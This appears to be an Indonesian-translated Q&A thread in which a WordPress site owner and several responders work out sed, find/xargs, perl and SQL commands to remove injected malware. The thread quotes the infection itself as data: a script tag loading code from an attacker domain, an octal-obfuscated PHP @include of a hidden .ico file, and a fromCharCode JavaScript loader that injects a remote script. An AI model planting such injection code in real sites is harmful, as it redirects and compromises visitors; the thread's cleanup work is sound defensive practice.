Bagaimana cara mengganti seluruh string menggunakan sed atau mungkin grep


10

Jadi seluruh server saya diretas atau ada masalah malware. situs saya didasarkan pada WordPress dan sebagian besar situs yang dihosting di server saya berbasis WordPress. Peretas menambahkan baris kode ini ke setiap file dan dalam basis data

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Saya memang mencarinya via grep menggunakan

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Saya mencoba untuk menggantinya di seluruh struktur file dengan seddan saya telah menulis perintah berikut.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Saya mencoba mengganti string pada satu file index.phpterlebih dahulu, jadi saya tahu itu berfungsi.

dan saya tahu kode saya salah. Tolong bantu saya dengan ini.

Saya mencoba dengan kode @ Eran dan menghapus seluruh baris, yang bagus dan seperti yang diharapkan. Namun, jargon totalnya adalah ini

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Dan sementara saya ingin menghapus semua konten, saya ingin menyimpan tag pembuka php <?php.

Meskipun solusi @ slybloty mudah dan berhasil.

jadi untuk menghapus kode sepenuhnya dari semua file yang terpengaruh. Saya menjalankan 3 perintah berikut, Terima kasih kepada Anda semua untuk ini.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Untuk menghapus baris skrip
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Untuk menghapus @includegaris
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Untuk menghapus baris komentar

Juga, saya menjalankan semua 3 perintah lagi '*.html', karena skrip peretas membuat index.html yang tidak diinginkan di semua direktori. Saya tidak yakin apakah menghapus index.html ini secara massal adalah pendekatan yang tepat.

sekarang, saya masih perlu mencari tahu file sampah dan jejaknya.

Skrip hacker menambahkan kode JS juga.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Mencoba melihat apakah saya bisa sedmelakukannya juga.


Bagaimana Anda tahu kode Anda salah?
Beta

Karena, saya menjalankannya dan terus meminta lebih banyak input di baris berikutnya seperti `>`
Dilip Gupta

2
Tidak bisakah Anda hanya menghapus garis? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
Juga, Anda bisa menambahkan grep Anda di sana untuk pakan di semua file dengan baris ini di dalamnya seperti ini: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" The -loption hanya menyediakan nama file dan tidak pencocokan teks.
Jason

1
Satu hal lagi ... Jika Anda mengambil pendekatan ini, saya akan mengambil keuntungan dari parameter opsional "cadangan" untuk sed -i. Misalnya, sed -i.bakakan membuat *.bakfile untuk semua file yang diedit. Saat digunakan dengan while...greploop, Anda hanya akan membuat cadangan file yang berisi string itu. Maaf untuk semua komentar tambahan, tetapi menurut pendapat saya, malware adalah skenario "semua di dek".
Jason

Jawaban:


2

Gunakan tanda kutip ganda ( ") untuk string dan jangan lepas tanda kutip tunggal ( ') atau tag ( <>). Hanya lepas dari garis miring ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

Metode apa pun yang Anda putuskan untuk digunakan dengan sed, Anda dapat menjalankan banyak proses secara bersamaan pada banyak file dengan opsi pemfilteran sempurna dengan finddan xargs. Sebagai contoh:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Itu akan:

  • find - Temukan
  • -type f - hanya file
  • -name '*.txt' - yang berakhir dengan php
  • -print0 - pritn mereka dipisahkan oleh nol byte
  • | xargs -0 - untuk setiap file yang dipisahkan oleh nol byte
  • -P7 - Jalankan 7 proses secara bersamaan
  • -n1 - untuk masing-masing file
  • sed - untuk setiap file jalankan sed
  • -i - edit file di tempat
  • '...' - skrip sed yang ingin Anda jalankan dari jawaban lain.

Anda mungkin ingin menambahkan -topsi xargsuntuk melihat perkembangannya. Lihat man find (man args) ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


2

Kutipan tunggal diambil secara harfiah tanpa karakter melarikan diri. Di var='hello\'', Anda memiliki kutipan yang tidak ditutup.

Untuk memperbaiki masalah ini, 1) Gunakan tanda kutip ganda untuk mengelilingi sedperintah ATAU 2) Hentikan string yang dikutip tunggal, tambahkan \', dan buka kembali string kutipan.

Namun, metode kedua lebih membingungkan.

Selain itu, seddapat menggunakan pembatas apa pun untuk memisahkan perintah. Karena Anda memiliki garis miring pada perintah, lebih mudah untuk menggunakan koma. Misalnya, menggunakan metode pertama:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Menggunakan metode kedua:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Contoh ini lebih mendidik daripada praktis. Inilah cara '\''kerjanya:

Pertama ': Akhiri string literal yang dikutip saat ini

\': Masukkan kutipan tunggal sebagai karakter literal

Kedua ': Masukkan kembali string literal yang dikutip

Selama tidak ada spasi di sana, Anda hanya akan melanjutkan sedperintah Anda . Ide ini unik untuk bash.

Saya meninggalkan yang melarikan diri <dan >di sana karena saya tidak sepenuhnya yakin untuk apa Anda menggunakannya. sedmenggunakan \<dan \>untuk maksud pencocokan kata. Saya tidak yakin apakah itu disengaja atau tidak.

Jika ini tidak cocok dengan apa pun, maka Anda mungkin ingin menghindari melarikan diri <dan >.

Sunting: Silakan lihat solusi @ EranBen-Natan di komentar untuk solusi yang lebih praktis untuk masalah aktual. Jawaban saya lebih merupakan sumber daya mengapa OP diminta untuk lebih banyak input dengan perintah aslinya.

Solusi untuk edit 2

Agar ini berfungsi, saya membuat asumsi bahwa Anda sedmemiliki opsi non-standar -z. Versi GNU sedseharusnya memiliki ini. Saya juga membuat asumsi bahwa kode ini selalu muncul dalam format yang panjangnya 6 baris

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Cara kerjanya: Kami menggunakan awal baris fromCharCode untuk mencocokkan semuanya. -zmemisahkan file pada nulls bukannya baris baru. Ini memungkinkan kami untuk mencari umpan baris secara langsung.

[^\n]*\n- Ini cocok dengan semuanya hingga umpan baris, dan kemudian cocok dengan umpan baris, menghindari pencocokan regex serakah. Karena kami tidak membagi umpan baris ( -z), regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\ncocok dengan yang paling cocok. Misalnya, jika \n}\nmuncul di mana saja lebih jauh di dalam file, Anda akan menghapus semua kode antara di sana dan kode berbahaya. Jadi, mengulangi urutan ini 6 kali cocok dengan kita sampai akhir baris pertama dan 5 baris berikutnya.

grep -lr- Hanya rekursif di grepmana kami hanya mencantumkan file yang memiliki pola yang cocok. Dengan cara ini, sedtidak mengedit setiap file. Tanpa ini, -i.bak(tidak jelas -i) akan membuat berantakan.


Terima kasih @Jason, saya akan mencoba metode Anda untuk ini. Saat ini, saya tidak memiliki opsi untuk cadangan. Jadi saya terjebak dengan membersihkannya.
Dilip Gupta

@DilipGupta Saya sarankan untuk mencadangkan di mana Anda berada sekarang. Anda dapat menggunakan sesuatu seperti rsyncuntuk membuat cadangan dan memulihkan.
Jason

Apakah Anda menggunakan adminer.php? sepertinya itu menular
Jiro Matchonson

1

Apakah Anda sudah menginstal plugin wp-mail-smtp? Kami memiliki malware yang sama dan ada beberapa hal aneh di dalamnya wp-content/plugins/wp-mail-smtp/src/Debug.php.

Juga, tautan javascript ada di setiap post_contentbidang di wp_postsdalam basis data WordPress.


Ya, saya sudah menginstal plugin itu dan itu ada seperti yang Anda katakan. Saya mencoba untuk membersihkan terlebih dahulu dan kemudian memperketat keamanan. Juga perhatikan, peretas menginstal plugin yang disebut super-socialat, periksa juga.
Dilip Gupta

Apa sebenarnya yang Anda temukan di Debug.php itu, saya tidak menemukan sesuatu yang aneh di sana tapi mungkin itu disimpan dalam file lain, jika Anda ingin memberikan beberapa bagian kode saya mungkin bisa mencari file-file itu? Tidak ditemukan plugin baru terpasang.
Jiro Matchonson

1
Editor apa yang Anda gunakan? Jika saya membukanya di vim, saya dapat melihat hal itu, tetapi tidak di nano atau editor seperti Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

Hai, saya sedang mencari melalui wincp, tetapi sekarang juga mencoba vi, masih tidak menemukan apa pun. Tnx banyak misalnya Ill tri untuk mencarinya di file.
Jiro Matchonson

Dari beberapa pengamatan ringan tampaknya merupakan pernyataan sql yang ditulis menggunakan posisi huruf dalam variabel $ GLOBALS atau sesuatu seperti itu, jadi tidak dapat ditemukan dengan hanya mencari "trasnaltemyrecords" Saya mencoba mencari grep -r "NULL ); @ $ "/ var / www / html / { ,. } atau hal-hal lain tetapi tidak menemukan apa pun. Ngomong-ngomong, saya punya adminer.php lama di halaman wordpress sehingga bisa juga menjadi sumber kebocoran itu, mungkin ..
Jiro Matchonson

0

Saya mendapatkan hal yang sama hari ini, semua posting halaman mendapat script virus jahat ini ditambahkan

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Saya menonaktifkannya dari basis data oleh

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Saya tidak memiliki file yang terinfeksi setidaknya

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

tidak menemukan apa-apa, tapi saya tidak tahu bagaimana ini masuk ke dalam database dari mana saya tidak tenang sama sekali.

Infeksi ini menyebabkan pengalihan pada halaman, sebagian besar chrome mendeteksi dan memblokir ini. Tidak melihat sesuatu yang aneh di - /wp-mail-smtp/src/Debug.php


Saya berasumsi ini terkait dengan beberapa istirahat plugin dan hacker mendapat akses pintu belakang ke situs.
Dilip Gupta

Tapi plugin yang mana, 2 hous berlalu dan semuanya kembali lagi mengarahkan
Jiro Matchonson

0

Saya mendapatkan hal yang sama hari ini, semua posting halaman ditambahkan skrip. Saya telah berhasil menangani mereka dengan menggunakan https://en.wordpress.org/plugins/search-and-replace/ plugin.

Selain itu, saya juga menemukan satu catatan di tabel wp_posts kolom post_content string berikut:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

dan menghapusnya secara manual.


0

Bagi saya bekerja ini:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Anda harus mencari: * .js, * .json, * .map

Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.